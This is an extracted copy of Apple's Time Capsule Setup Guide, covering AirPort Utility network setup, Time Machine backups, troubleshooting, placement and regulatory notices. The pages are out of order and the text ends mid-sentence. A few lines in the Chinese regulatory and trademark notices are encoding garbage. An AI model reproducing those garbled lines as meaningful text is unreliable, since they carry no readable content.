This computer equipment generates, uses, and can
radiate radio-frequency energy. If it is not installed and
used properly—that is, in strict accordance with Apple’s
instructions—it may cause interference with radio and
television reception.
This equipment has been tested and found to comply
with the limits for a Class B digital device in accordance
with the specifications in Part 15 of FCC rules. These
specifications are designed to provide reasonable
protection against such interference in a residential
installation. However, there is no guarantee that
interference will not occur in a particular installation.
You can determine whether your computer system is
causing interference by turning it off. If the interference
stops, it was probably caused by the computer or one of
the peripheral devices.
If your computer system does cause interference to
radio or television reception, try to correct the
interference by using one or more of the following
measures:
 Turn the television or radio antenna until the
interference stops.
 Move the computer to one side or the other of the
television or radio.
 Move the computer farther away from the television or
radio.
 Plug the computer into an outlet that is on a different
circuit from the television or radio. (That is, make
certain the computer and the television or radio are on
circuits controlled by different circuit breakers or
fuses.)
If necessary, consult an Apple Authorized Service
Provider or Apple. See the service and support
information that came with your Apple product. Or,
consult an experienced radio/television technician for
additional suggestions.
Important: Changes or modifications to this product
not authorized by Apple Inc. could void the EMC
compliance and negate your authority to operate the
product.37
This product was tested for FCC compliance under
conditions that included the use of Apple peripheral
devices and Apple shielded cables and connectors
between system components. It is important that you
use Apple peripheral devices and shielded cables and
connectors between system components to reduce the
possibility of causing interference to radios, television
sets, and other electronic devices. You can obtain Apple
peripheral devices and the proper shielded cables and
connectors through an Apple-authorized dealer. For
non-Apple peripheral devices, contact the manufacturer
or dealer for assistance.
Responsible party (contact for FCC matters only)
Apple Inc., Corporate Compliance, 1 Infinite Loop M/S 26-A,
Cupertino, CA 95014-2084
Industry Canada Statement
This Class B device meets all requirements of the
Canadian interference-causing equipment regulations.
Cet appareil numérique de la Class B respecte toutes les
exigences du Règlement sur le matériel brouilleur du
Canada.
VCCI Class B Statement
Europe—EU Declaration of Conformity
For more information, see www.apple.com/euro/
compliance.
European Union — Disposal Information
This symbol means that according to local laws and
regulations your product should be disposed of
separately from household waste. When this product
reaches its end of life, take it to a collection point
designated by local authorities. Some collection points
accept products for free. The separate collection and
recycling of your product at the time of disposal will
help conserve natural resources and ensure that it is
recycled in a manner that protects human health and
the environment.
1 ¡{|
f!Î - q¼❞l±àm ¤ðþ
❞B Apple mØQn ÁÂj$%
www.apple.com.cn/environment❞
California: The coin cell battery in your product
contains perchlorates. Special handling and disposal
may apply. Refer to www.dtsc.ca.gov/hazardouswaste/
perchlorate.
Deutschland: Dieses Gerät enthält Batterien. Bitte nicht
in den Hausmüll werfen. Entsorgen Sie dieses Gerätes
am Ende seines Lebenszyklus entsprechend der
maßgeblichen gesetzlichen Regelungen.
Nederlands: Gebruikte batterijen kunnen worden
ingeleverd bij de chemokar of in een speciale
batterijcontainer voor klein chemisch afval (kca) worden
gedeponeerd.38
Taiwan:
Singapore Wireless Certification
Taiwan Warning Statements
Korea Warning Statements
© 2009 Apple Inc. ¤opq❞
Apple❝c❝Apple îr❝AirPort❝ AirPort Express❝
AirPort Extreme❝Apple TV❝Bonjour❝iPod❝Leopard❝
Macintosh❝Mac OS ! Time Capsule v Apple Inc. d8
9©9ò!m÷Q3 xî❞Finder❝iPhone !
Time Machine v Apple Inc. xî❞
®Ù{ ©!Î!st6:vmDst
xî❞www.apple.com/airport
www.apple.com/support/airport
CH019-1384-A
Time Capsule
Setup Guide3
Contents
5 Getting Started
8 About Your Time Capsule
9 About the AirPort Software
10 What You Need to Get Started
12 The Time Capsule Status Light
14 Setting Up Your Time Capsule
15 Using Your Time Capsule to Create Your Wireless Network
18 Using AirPort Utility
20 Creating a New Wireless Network
20 Configuring and Sharing Internet Access
22 Setting Advanced Options
23 Allowing Wireless Clients to Access Your Network Without Entering a Password
24 Using Time Machine with Your Time Capsule
26 Tips and Troubleshooting
26 If You Can’t Connect to the Internet
26 If You Forgot Your Network Password or Time Capsule Password
28 If Your Time Capsule Isn’t Responding
29 If Your Time Capsule Status Light Flashes Amber4
30 If Your Printer Isn’t Responding
31 Updating AirPort Software
31 Time Capsule Placement Considerations
32 Items That Can Cause Interference with AirPort
33 Learning More, Service, and Support
35 Time Capsule Specifications and Safety Guidelines
38 Regulatory Compliance Information1
5
Getting Started
Congratulations on purchasing your Time Capsule.
Read this guide to get started.
Time Capsule offers you the simplicity of fully automated backup for your Wi-Fi
network. Using the Time Machine application in Mac OS X v10.5.7 Leopard or later,
it’s easy and automatic to back up all the computers on your network to a
single Time Capsule.
The Time Capsule is also a fully featured AirPort Extreme Base Station that provides
simultaneous dual-band wireless networking.When you set up your Time Capsule,
it creates two high-speed Wi-Fi networks:
 A 2.4 gigahertz (GHz) network for 802.11b, 802.11g, and 802.11n devices, such as
iPhone, iPod touch, and older computers
 A 5 GHz network for 802.11n and 802.11a devices, such as newer computers, iPad,
and Apple TV
Wireless devices join the network that provides them the best performance and
compatibility, and the Time Capsule shares your broadband Internet connection
with computers and devices on your network.6 Chapter 1 Getting Started
With your Time Capsule, you can:
 Use the Time Machine application in Mac OS X v10.5.7 (or later) to back up all
the computers on your wireless network, as well as computers connected to your
Time Capsule using Ethernet.
Note: Your first backup with Time Capsule and Time Machine could take overnight
or longer, depending on how much data you’re backing up. To speed up the initial
backup, use an Ethernet cable to connect your computer to the LAN port on
your Time Capsule. For more information about using Time Machine, see “Using
Time Machine with Your Time Capsule” on page 24.
 Create a password-protected wireless home network, and then connect to the
Internet and share the connection with other computers and Wi-Fi devices, such as
iPad, iPhone, iPod touch, and Apple TV. You can also share files among computers
connected to the network.
 Create a guest network, with or without password protection to provide Internet-only
access to wireless devices, such as computers, iPad, iPhone, iPod touch, and Apple TV.
 Connect your Time Capsule to your Ethernet network.Wireless-equipped Mac,
Windows XP, Windows Vista, or Windows 7 computers can then have access to an
entire network without being connected by a cable.
 Connect a supported USB printer to your Time Capsule. Compatible computers on
the AirPort network, both wireless and wired, can print to it.
 Connect an additional USB hard drive to your Time Capsule. Compatible computers
on the AirPort network, both wireless and wired, can access information on
the hard disk.Chapter 1 Getting Started 7
 Connect a USB hub to your Time Capsule, and then connect multiple USB devices,
such as printers or hard disks. All computers on the network have access to
those devices.
Important: Use AirPort Utility to set up your Time Capsule. Previous versions of AirPort
Setup Assistant and AirPort Admin Utility are not compatible with this Time Capsule.
AirPort Utility is installed in the Utilities folder in the Applications folder on a computer
using Mac OS X, and in Start > All Programs > AirPort on a computer using Windows. If
AirPort Utility isn’t installed on your computer, you can download it from
www.apple.com/support/airport.
Apple periodically updates AirPort software. It’s recommended that you update your
software to keep your Time Capsule up to date.
Note: To download a copy of this setup guide in your language, open AirPort Utility
and choose Help > AirPort Service and Support, and click Manuals.8 Chapter 1 Getting Started
About Your Time Capsule
Your Time Capsule has five ports on the back:
 One 10/100/1000Base-T Gigabit Ethernet Wide Area Network (WAN) port for
connecting a DSL or cable modem, or for connecting to an existing Ethernet network
 Three 10/100/1000Base-T Gigabit Ethernet Local Area Network (LAN) ports for
connecting Ethernet devices, such as printers or computers, or for connecting to an
existing Ethernet network
 One USB port for connecting a compatible USB printer, hard drive, or hub for
connecting several devices
Status light Internet WAN port
Power port
Power cord
USB port Reset button
Ethernet ports
Security slot
Ethernet
activity light
The reset button next to the ports is used for troubleshooting your Time Capsule.
The status light on the front shows the current status.Chapter 1 Getting Started 9
About the AirPort Software
Your Time Capsule works with AirPort Utility, installed in the Utilities folder in the
Applications folder on a computer using Mac OS X, and in Start > All Programs >
AirPort on a computer using Windows.
If AirPort Utility isn’t installed on your computer, you can download it from
www.apple.com/support/airport.
Use AirPort Utility and follow the instructions on the following pages to set up your
Time Capsule and your AirPort wireless network.
Note: You must use AirPort Utility v5.5.3 (or later) to set up your Time Capsule. This
Time Capsule is not compatible with previous versions of AirPort software.
AirPort Utility
Use AirPort Utility to set up your Time Capsule to create a wireless network, connect to
the Internet, and share compatible USB printers and hard disks. You can also connect
your Time Capsule to an existing AirPort Extreme wireless network.
AirPort Utility is also an advanced tool for setting up and managing the
Time Capsule, AirPort Extreme, and AirPort Express Base Stations. Use it to manually
adjust network, routing, and security settings and other advanced options.
Z AirPort status menu
Use the AirPort status menu in the menu bar to switch quickly between AirPort networks,
monitor the signal quality of the current network, create a computer-to-computer
network, and turn AirPort on or off. The status menu is available on computers using
Mac OS X.10 Chapter 1 Getting Started
What You Need to Get Started
To use your Time Capsule, you need a wireless-enabled computer that’s compliant with
IEEE 802.11a, 802.11b, 802.11g, or IEEE 802.11n standards. To set up your Time Capsule,
your computer must meet the requirements listed below.
Note: To use your Time Capsule with Time Machine in Mac OS X, you need to use
Mac OS X v10.5.7 or later.
To set up your Time Capsule using a Mac, you need the following:
 A Mac computer with an AirPort or AirPort Extreme Card installed to set it up wirelessly,
or a Mac computer connected to your Time Capsule with an Ethernet cable to set it
up using Ethernet
 Mac OS X v10.5.7 or later
 AirPort Utility v5.5.3 or later
To set up your Time Capsule using a Windows computer, you need the following:
 A Windows computer with 300 MHz or higher processor speed and a compatible
802.11a, 802.11b, or 802.11g, IEEE 802.11n wireless card, or a Windows computer
connected to a Time Capsule with an Ethernet cable to set it up using Ethernet
 Windows XP Home or Professional (SP3), Windows Vista (SP2), or Windows 7 (SP1)
 AirPort Utility v5.5.3 or laterChapter 1 Getting Started 11
Plugging In Your Time Capsule
Before you plug in your Time Capsule, first connect the appropriate cables to the ports
you want to use:
 Connect the Ethernet cable that’s connected to your DSL or cable modem (if you will
connect to the Internet) to the Ethernet WAN (<) port.
 Connect a USB cable connected from the USB (d) port on your Time Capsule to a
compatible USB printer (if you will print to a USB printer), a hard disk, or a hub.
 Connect an Ethernet cable from any Ethernet device to the Ethernet LAN (G) ports.
After you’ve connected the cables for all the devices you plan to use, connect the
power cord to the power port and plug your Time Capsule into a power outlet. There
is no power switch.
Important: Use only the power cord that came with your Time Capsule.
When you plug your Time Capsule into a power outlet, the status light flashes green
for one second and then glows amber while your Time Capsule starts up. After your
Time Capsule has started up completely, the status light flashes amber until your Time
Capsule has been updated with the correct settings. The status light glows solid green
after your Time Capsule is properly set up and connected to the Internet or a network.
When you connect Ethernet cables to the Ethernet ports, the lights above them glow
solid green.12 Chapter 1 Getting Started
The Time Capsule Status Light
The following table explains the Time Capsule light sequences and what they indicate.
Light Status/description
Off Your Time Capsule is unplugged.
Solid amber Your Time Capsule is completing its startup sequence.
Flashing amber Your Time Capsule can’t establish a connection to the network or
the Internet, or is encountering a problem. Make sure you have
installed AirPort Utility and use it to get information about what
might cause the status light to flash amber. See “If Your Time
Capsule Status Light Flashes Amber” on page 29.
Solid green Your Time Capsule is on and working properly. If you choose
Flash On Activity from the Status Light pop-up menu (in the
Base Station pane of AirPort settings in AirPort Utility), the status
light may flash green to indicate normal activity.
Flashing amber and green There may be a problem starting up. Your Time Capsule will
restart and try again.
Solid blue Your Time Capsule is ready to allow a wireless client access
to the network. See “Allowing Wireless Clients to Access Your
Network Without Entering a Password” on page 23.Chapter 1 Getting Started 13
What’s Next
After you plug in your Time Capsule, use AirPort Utility to set it up to work with your
Internet connection, USB printer or hard disk, or an existing network. AirPort Utility
is located in the Utilities folder in the Applications folder on a computer using Mac OS X,
and in Start > All Programs > AirPort on a computer using Windows XP or
Windows Vista.14
2
Setting Up Your Time Capsule
This chapter provides information and instructions for
connecting your Time Capsule to the Internet, and using
AirPort Utility to set it up to create or join a wireless network.
This chapter provides an overview of connecting your Time Capsule to the Internet,
and using the setup assistant in AirPort Utility to set up your network and other
features of your Time Capsule. For more information about wireless networking, and
for information about the advanced features of AirPort Utility, refer to “Apple AirPort
Networks” at www.apple.com/support/airport.
You can do most of your network setup and configuration tasks using the setup
assistant in AirPort Utility. To set advanced options, choose Manual Setup from the
Base Station menu of AirPort Utility. See “Setting Advanced Options” on page 22.Chapter 2 Setting Up Your Time Capsule 15
Using Your Time Capsule to Create Your Wireless Network
When you set up your Time Capsule to provide network and Internet access, the
following computers and devices can access the wireless AirPort network to share files,
play games, and use Internet applications such as web browsers and email applications:
 Mac computers with AirPort or AirPort Extreme Cards
 802.11a, 802.11b, 802.11g, and IEEE 802.11n wireless-equipped computers
 Other Wi-Fi devices, such as iPad, iPhone, iPod Touch, and Apple TV
Computers connected to your Time Capsule using Ethernet can also access the
network to share files and connect to the Internet.
With Mac OS X v10.5.7 or later you can set up Time Machine to back up all the
computers on the network to your Time Capsule. See “Using Time Machine with Your
Time Capsule” on page 24 for more information.
When you connect a compatible USB printer to your Time Capsule, supported
computers on the network (wired and wireless) can print to it.16 Chapter 2 Setting Up Your Time Capsule
Using Time Capsule to create a wireless network
to Internet
DSL or cable modem
< Internet WAN port
Shared printer
Time Capsule
to USB port
2.4 or 5 GHz 2.4 GHz
2.4 or 5 GHz
To set it up:
1 Connect your DSL or cable modem to your Time Capsule using the Ethernet
WAN (<) port.
2 If you plan to share a USB printer on the network, connect it to the Time Capsule
USB (d) port or to a USB hub using a USB cable.Chapter 2 Setting Up Your Time Capsule 17
3 Open AirPort Utility (located in the Utilities folder in the Applications folder on
a computer using Mac OS X, and in Start > All Programs > AirPort on a computer
using Windows), select your Time Capsule, and then click Continue.
4 Follow the onscreen instructions to create a new network.
To print from a computer using Mac OS X v10.5 or later:
1 Choose Apple > System Preferences, and then click Print & Fax.
2 Click Add (+) and select your printer from the list.
3 Click the Add button.
If your printer isn’t in the list, use the buttons in the toolbar to search for it.
To print from a computer using Mac OS X v10.2.7 or later:
1 Open Printer Setup Utility (located in the Utilities folder in the Applications folder).
2 Select your printer from the list.
If your printer isn’t in the list, click Add and choose Bonjour from the pop-up menu,
and then select your printer from the list.
To print from a computer using Windows XP, Windows Vista, or Windows 7:
Use Bonjour for Windows and follow the onscreen instructions to connect to your printer.
Computers using AirPort or other compatible wireless cards or adapters can connect
to the Internet through your Time Capsule. Computers connected to the Time Capsule
Ethernet ports can also access the network and connect to the Internet.
Wireless computers and computers connected to the Ethernet ports can also
communicate with each other through your Time Capsule.18 Chapter 2 Setting Up Your Time Capsule
Using AirPort Utility
To set up and configure your Time Capsule, use the setup assistant in AirPort Utility.
On a Mac computer using Mac OS X v10.5.7 or later:
1 Open AirPort Utility, located in the Utilities folder in the Applications folder.
2 Select your Time Capsule and click Continue.
If you don’t see the Time Capsule you want to configure, click Rescan to scan for
available wireless devices, and then select your Time Capsule from the list.
3 Follow the onscreen instructions to set up your Time Capsule and your wireless network.
On a computer using Windows XP (SP3), Windows Vista (SP2), or Windows 7 (SP1):
1 Open AirPort Utility, located in Start > All Programs > AirPort.
2 Select your Time Capsule and click Continue.
If AirPort Utility isn’t installed on your computer, you can download it from
www.apple.com/support/airport.Chapter 2 Setting Up Your Time Capsule 19
3 Follow the onscreen instructions to set up your Time Capsule and your wireless network.
The AirPort Utility setup assistant asks you questions about the type of network
you want to use and the services you want to set up, and helps you enter the
appropriate settings.
If you’re using your Time Capsule to connect to the Internet, you need a broadband
(DSL or cable modem) account with an Internet service provider (ISP), or a connection
to the Internet using an existing Ethernet network. If you received specific information
from your ISP (such as a static IP address or a DHCP client ID), you may need to enter it
in AirPort Utility. Have this information available when you set up your Time Capsule.20 Chapter 2 Setting Up Your Time Capsule
Creating a New Wireless Network
You can use the AirPort Utility setup assistant to create a new wireless network. The
setup assistant guides you through the steps necessary to name your network, protect
your network with a password, and set other options.
If you plan to share a USB printer or USB hard disk on your network:
1 Connect the printer or hard disk to the Time Capsule USB (d) port.
2 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac,
or in Start > All Programs > AirPort on a computer using Windows.
3 Select your Time Capsule and click Continue.
If you don’t see the Time Capsule you want to configure, click Rescan to scan for
available wireless devices, and then select your Time Capsule from the list.
4 Follow the onscreen instructions to create a new network.
Configuring and Sharing Internet Access
If you plan to share your Internet connection with wireless-enabled computers on your
network or with computers connected to the Ethernet ports, you need to set up your
Time Capsule as an AirPort base station. After your Time Capsule is set up, computers
access the Internet through the AirPort network. Your Time Capsule connects to the
Internet and transmits information to the computers over the wireless network.
Before you use AirPort Utility to set up your Time Capsule, connect your DSL or cable
modem to the Time Capsule Ethernet WAN (<) port. If you’re connecting your Time
Capsule to an Ethernet network that already has Internet access, connect it to the
Ethernet network.Chapter 2 Setting Up Your Time Capsule 21
Use the AirPort Utility setup assistant to enter your ISP settings and configure how
your Time Capsule shares the settings with other computers.
1 Open AirPort Utility, located in the Utilities folder in the Applications folder on
a computer using Mac OS X, or in Start > All Programs > AirPort on a computer
using Windows.
If AirPort Utility isn’t installed on your computer, you can download it from
www.apple.com/support/airport.
2 Select your Time Capsule and click Continue.
If you’re making changes to a Time Capsule that has already been set up,
you might have to connect to the network it’s created before making changes
to the Time Capsule.
To choose the wireless network you want to change on a Mac, use the AirPort status
menu in the menu bar. On a computer using Windows, hold the pointer over the
wireless connection icon until you see the network name (SSID), and then choose it
from the list if there are multiple networks available.
3 Follow the onscreen instructions to configure and share Internet access on your
Time Capsule.
AirPort Utility provides a quick and easy way to set up your Time Capsule and network.
If you want to set additional options for your network, such as restricting access to
your network or setting advanced DHCP options, choose Manual Setup from the Base
Station menu of AirPort Utility.22 Chapter 2 Setting Up Your Time Capsule
Setting Advanced Options
Use AirPort Utility to set up your Time Capsule manually if you want to set advanced
Time Capsule options such as advanced security options, closed networks, DHCP lease
time, access control, power controls, user accounts, and more.
To set advanced options:
1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac,
and in Start > All Programs > AirPort on a computer using Windows.
If AirPort Utility isn’t installed on your computer, you can download it from
www.apple.com/support/airport.
2 If there’s more than one wireless device in the list, select the one you want to
configure. If you don’t see the Time Capsule you want to configure, click Rescan to
scan for available wireless devices, and then select your Time Capsule from the list.
If you’re making changes to a Time Capsule that has already been set up, you
might have to connect to the network it’s created before making changes to your
Time Capsule.
To choose the wireless network you want to change on a Mac, use the AirPort status
menu in the menu bar. On a computer using Windows, hold the pointer over the
wireless connection icon until you see the network name (SSID), and then choose it
from the list if there are multiple networks available.
3 Choose Manual Setup from the Base Station menu. If you’re prompted for a
password, enter it.
For more about the manual setup features in AirPort Utility, see “Apple AirPort
Networks” at www.apple.com/support/airport.Chapter 2 Setting Up Your Time Capsule 23
Allowing Wireless Clients to Access Your Network Without
Entering a Password
If your network is password-protected using WPA Personal or WPA/WPA2 Personal, you
can provide wireless clients access to your network without requiring them to enter the
network password.
When you allow a client access to your network, the client’s name and wireless MAC
address (or AirPort ID) are stored in the access control list of AirPort Utility until you
remove the client from the list. You can also provide 24 hours of access, after which
time the client can no longer access your network.
When you give a client access to your wireless network, the client doesn’t need to enter
the network password.
To allow a client to access your network without entering the network password:
1 Open AirPort Utility, select your Time Capsule, and then choose Manual Setup from the
Base Station menu. Enter the password if necessary.
2 Choose Add Wireless Clients from the Base Station menu.
3 Select how you want the client to access the network:
 Select PIN to enter the eight-digit number provided by the client requesting
network access.
 Select“First attempt”to allow network access to the first client attempting to join
the network.
While the Time Capsule waits for a client to join the network, the LED glows blue.24 Chapter 2 Setting Up Your Time Capsule
Select“Limit client’s access to 24 hours”if you want to provide just one day of access
to your network. If you don’t select this option, the client has access until you remove
the client from the list.
Using Time Machine with Your Time Capsule
With the Time Machine application in Mac OS X (Leopard or later) you can back up
everything on your computer, including your photos, music, movies, and documents.
After you set up Time Machine, it automatically backs up your computer on
a regular basis.
If you’re using Mac OS X v10.5.7 or later, the first time you connect to your
Time Capsule, Time Machine asks if you’d like to use it to back up your files. Click
“Use as Backup Disk,” and Time Machine takes care of the rest.
Use the Time Machine pane of System Preferences to set up automatic backups,
change to a different backup disk, or adjust other settings.
To set up or adjust Time Machine on a computer using Mac OS X Leopard or later:
1 Choose Apple > System Preferences, and then click Time Machine.
2 Slide the switch to ON.
3 Click Change Disk.
4 Choose your Time Capsule and click “Use for Backup.”Chapter 2 Setting Up Your Time Capsule 25
Your first backup with Time Capsule and Time Machine could take overnight
or longer, depending on how much data you’re backing up. To speed up the initial
backup, connect your Time Capsule to your computer using Ethernet. In each
subsequent backup, Time Machine backs up only files that have changed since the
previous backup, so the backups don’t take as long.
Time Capsule is a great wireless backup solution for portable computers. Since
the first backup can take some time, plug your portable into a power adapter—this
conserves battery power and guarantees that backups won’t be interrupted. Also,
for the best wireless performance, place your portable computer in the same room
as your Time Capsule.
If you shut down your Mac or put it to sleep during a backup, Time Machine stops the
backup and then continues from where it left off after your Mac starts up again.
For more information about Time Machine, choose Help > Mac Help from the Finder
menu on a computer using Mac OS X Leopard or later, and then type Time Machine
in the search field.26
3
Tips and Troubleshooting
You can quickly solve most problems with your
Time Capsule by following the advice in this chapter.
If You Can’t Connect to the Internet
 Try connecting to the Internet directly from your computer. If you can’t connect,
check to make sure your network settings are correct. If they appear to be correct
and you still can’t connect, contact your Internet service provider (ISP).
 Make sure you’re connecting to the correct wireless network.
If You Forgot Your Network Password or Time Capsule Password
You can clear the AirPort network password or Time Capsule password by resetting
your Time Capsule.
To reset the Time Capsule password:
1 Use something pointed (such as a ballpoint pen) to press and hold down the reset
button for one second.
Important: If you hold the reset button for more than one second, you may lose your
network settings.Chapter 3 Tips and Troubleshooting 27
2 Select your AirPort network.
 On a Mac, use the AirPort status menu in the menu bar to select the network created
by your Time Capsule (the network name doesn’t change).
 On a computer using Windows, hold the pointer over the wireless connection icon
until you see your AirPort network name (SSID), and choose it from the list if there are
multiple networks available.
3 Open AirPort Utility (in the Utilities folder in the Applications folder on a Mac, and in
Start > All Programs > AirPort on a computer using Windows).
If AirPort Utility isn’t installed on your computer, you can download it from
www.apple.com/support/airport.
4 Select your Time Capsule, and then choose Manual Setup from the Base Station menu.
5 Click AirPort in the toolbar, and then click Base Station.
6 Enter a new password for your Time Capsule.
7 Click Wireless and choose an encryption method from the Wireless Security pop-up
menu to turn on encryption and activate password protection for your AirPort network.
If you turn on encryption, enter a new password for your AirPort network.
8 Click Update to restart your Time Capsule and load the new settings.28 Chapter 3 Tips and Troubleshooting
If Your Time Capsule Isn’t Responding
Try unplugging it and plugging it back in.
If your Time Capsule stops responding completely, you may need to reset it to the
factory default settings.
Important: Resetting your Time Capsule to factory default settings erases all of the
current settings and resets them to the settings that came with your Time Capsule.
To return your Time Capsule to the factory settings:
m Use something pointed (such as a ballpoint pen) to press down and hold the reset
button until the status light flashes quickly (about 5 seconds).
Your Time Capsule resets with the following settings:
 Your Time Capsule receives its IP address using DHCP.
 The network name is reset to Apple Network XXXXXX (where XXXXXX is replaced
with the last six digits of the AirPort ID).
 The Time Capsule password is reset to public.
If your Time Capsule still isn’t responding, try the following:
1 Unplug your Time Capsule.
2 Use something pointed to press and hold down the reset button while you plug in
your Time Capsule.Chapter 3 Tips and Troubleshooting 29
If Your Time Capsule Status Light Flashes Amber
The Ethernet cable may not be connected properly, your Time Capsule may be out
of range of an AirPort network, or there may be a problem with your Internet service
provider. If you’re connected to the Internet with a DSL or cable modem, the modem
may have lost its connection to the network or the Internet. Even if the modem seems
to be working properly, try disconnecting it from its power supply, waiting a few
seconds, and then reconnecting it. Make sure your Time Capsule is connected directly
to the modem via Ethernet before reconnecting power to the modem.
For more information about why the light is flashing, open AirPort Utility, select your
Time Capsule, and then choose Manual Setup from the Base Station menu. Click Base
Station Status to display information about the flashing light.
You can also select“Monitor base station for problems”in AirPort preferences.
If the base station has a problem, AirPort Utility opens and walks you through
solving the problem.30 Chapter 3 Tips and Troubleshooting
If Your Printer Isn’t Responding
If you connected a printer to the USB port on your Time Capsule and the computers
on the AirPort network can’t print, try the following:
1 Make sure the printer is plugged in and turned on.
2 Make sure the cables are securely connected to the printer and to the
Time Capsule USB port.
3 Make sure the printer is selected in the Printer List window on client computers.
On a Mac using Mac OS X v10.5 or later:
 Choose Apple > System Preferences, and then click Print & Fax.
 Click Add (+) and select your printer in the list, and then click Add (+).
On a Mac using Mac OS X v10.2.7 or later:
 Open Printer Setup Utility, located in the Utilities folder in the Applications folder.
 If the printer isn’t in the list, click Add.
 Choose Bonjour from the pop-up menu, select the printer and click Add (+).
On a computer using Windows:
 Open “Printers and Faxes”from the Start menu.
 Select the printer. If the printer isn’t in the list, click Add Printer and then follow
the onscreen instructions.
 If Bonjour for Windows is installed, click the Bonjour Printer, click the Bonjour
Printer Wizard on the desktop, and then follow the onscreen instructions for
setting up a printer.
4 Turn off the printer, wait a few seconds, and then turn it back on.Chapter 3 Tips and Troubleshooting 31
Updating AirPort Software
Apple periodically updates AirPort software. It is recommended that you update your
Time Capsule to use the latest software.
You can select“Check for updates when opening AirPort Utility,” or“Check for updates”
in AirPort preferences. If you select“Check for updates,” choose an increment of time,
such as weekly, from the pop-up menu to automatically check for updates.
Time Capsule Placement Considerations
The following recommendations can help your Time Capsule achieve the best wireless
range and network coverage.
 Place your Time Capsule in an open area where there are few obstructions, such as
large pieces of furniture or walls. Try to place it away from metallic surfaces.
 If you place your Time Capsule behind furniture, keep at least an inch of space
between the Time Capsule and the edge of the furniture.
 Avoid placing your Time Capsule in areas surrounded by metal surfaces on three or
more sides.
 If you place your Time Capsule in an entertainment center with your stereo equipment,
avoid surrounding your Time Capsule with audio, video, or power cables. Place your
Time Capsule so that the cables are to one side. Maintain as much space as possible
between your Time Capsule and the cables.
 Try to place your Time Capsule at least 25 feet (7.6 meters) from any microwave oven,
2.4 or 5 gigahertz (GHz) cordless phone, and other sources of interference.
 Do not place other objects (books, papers, small pets, etc.) on top of the Time Capsule.
It may interfere with Time Capsule cooling.32 Chapter 3 Tips and Troubleshooting
Items That Can Cause Interference with AirPort
The farther away the interference source, the less likely it is to cause a problem.
The following can interfere with AirPort communication:
 Microwave ovens
 Direct Satellite Service (DSS) radio frequency leakage
 The original coaxial cable that came with certain types of satellite dishes. Contact the
device manufacturer and obtain newer cables.
 Certain electrical devices such as power lines, electrical railroad tracks, and power
stations.
 Cordless telephones that operate in the 2.4 or 5 GHz range. If you have problems
with your phone or AirPort communication, change the channel your base station or
Time Capsule uses, or change the channel your phone uses.
 Nearby base stations using adjacent channels. For example, if base station A is set to
channel 1, base station B should be set to channel 6 or 11.4
33
Learning More,
Service, and Support
You can find more information about using your
Time Capsule on the web and in onscreen help.
Online Resources
For the latest information about the Time Capsule, go to www.apple.com/airport.
To register your Time Capsule, go to www.apple.com/register.
For AirPort support information, forums with product-specific information and feedback,
and the latest Apple software downloads, go to www.apple.com/support/airport.
For support outside of the United States, go to www.apple.com/support, and then
choose your country.34 Chapter 4 Learning More, Service, and Support
Onscreen Help
To learn more about using AirPort Utility with your Time Capsule, open AirPort Utility
and choose Help > AirPort Utility Help.
Obtaining Warranty Service
If your Time Capsule appears to be damaged or doesn’t function properly, follow the
advice in this booklet, the onscreen help, and the online resources.
If your Time Capsule still doesn’t function, go to www.apple.com/support for information
about getting warranty service.
Finding the Serial Number of Your Time Capsule
The serial number is printed on the bottom of your Time Capsule.35
Appendix
Time Capsule Specifications
and Safety Guidelines
Time Capsule Specifications
 Frequency Band: 2.4 and 5 GHz
 Radio Output Power: Up to 23 dBm (nominal)
 Standards: 802.11 DSSS 1 and 2 Mbps standard, 802.11a, 802.11b, 802.11g,
and 802.11n specifications
Interfaces
 1 RJ-45 10/100/1000Base-T Gigabit Ethernet WAN (<)
 3 RJ-45 10/100/1000Base-T Gigabit Ethernet LAN (G)
 Universal Serial Bus (USB d) 2.0
 802.11 a/b/g/n AirPort Extreme wireless
Environmental Specifications
 Operating Temperature: 32° F to 95° F (0° C to 35° C)
 Storage Temperature: –13° F to 140° F (–25° C to 60° C)
 Relative Humidity (Operational): 20% to 80% relative humidity
 Relative Humidity (Storage): 10% to 90% relative humidity, noncondensing36 Appendix Time Capsule Specifications and Safety Guidelines
Size and Weight
 Length: 7.75 inches (197.0 mm)
 Width: 7.75 inches (197.0 mm)
 Height: 1.43 inches (36.33 mm)
 Weight: 3.5 pounds (1.6 kilograms)
Hardware Media Access Control (MAC) Addresses
The Time Capsule has three hardware addresses printed on the bottom of the case:
 AirPort ID: The two addresses used to identify the Time Capsule on a wireless network.
 Ethernet ID: You may need to provide this address to your ISP to connect your
Time Capsule to the Internet.
Using Your Time Capsule Safely
 The only way to shut off power completely to your Time Capsule is to disconnect it
from the power source.
 When connecting or disconnecting your Time Capsule, always hold the plug by its
sides. Keep fingers away from the metal part of the plug.
 Your Time Capsule should not be opened for any reason, even when it’s unplugged. If
your Time Capsule needs service,see“Learning More, Service, and Support”on page 33.
 Never force a connector into a port. If the connector and port don’t join with
reasonable ease, they probably don’t match. Make sure that the connector matches
the port and that you’ve positioned the connector correctly in relation to the port.Appendix Time Capsule Specifications and Safety Guidelines 37
About Operating and Storage Temperatures
When you’re using your Time Capsule, it is normal for the case to get warm. The
Time Capsule case functions as a cooling surface that transfers heat from inside
the unit to the cooler air outside.
Avoid Wet Locations
WARNING: To reduce the chance of shock or injury, do not use your Time Capsule in
or near water or wet locations.
 Keep your Time Capsule away from sources of liquid, such as drinks, washbasins,
bathtubs, shower stalls, and so on.
 Protect your Time Capsule from direct sunlight and rain or other moisture.
 Take care not to spill any food or liquid on your Time Capsule. If you do, unplug it
before cleaning up the spill.
 Do not use your Time Capsule outdoors. The Time Capsule is an indoor product.
Do Not Make Repairs Yourself
WARNING: Do not attempt to open your Time Capsule or disassemble it. You run
the risk of electric shock and voiding the limited warranty. No user-serviceable parts
are inside.
About Handling
Your Time Capsule may be damaged by improper storage or handling. Be careful not to
drop your Time Capsule when transporting it.38
FCC Declaration of Conformity
This device complies with part 15 of the FCC rules. Operation
is subject to the following two conditions: (1) This device may
not cause harmful interference, and (2) this device must accept
any interference received, including interference that may cause
undesired operation. See instructions if interference to radio or
television reception is suspected.
Radio and Television Interference
This computer equipment generates, uses, and can radiate radiofrequency energy. If it is not installed and used properly—that
is, in strict accordance with Apple’s instructions—it may cause
interference with radio and television reception.
This equipment has been tested and found to comply with
the limits for a Class B digital device in accordance with the
specifications in Part 15 of FCC rules. These specifications
are designed to provide reasonable protection against such
interference in a residential installation. However, there is
no guarantee that interference will not occur in a particular
installation.
You can determine whether your computer system is causing
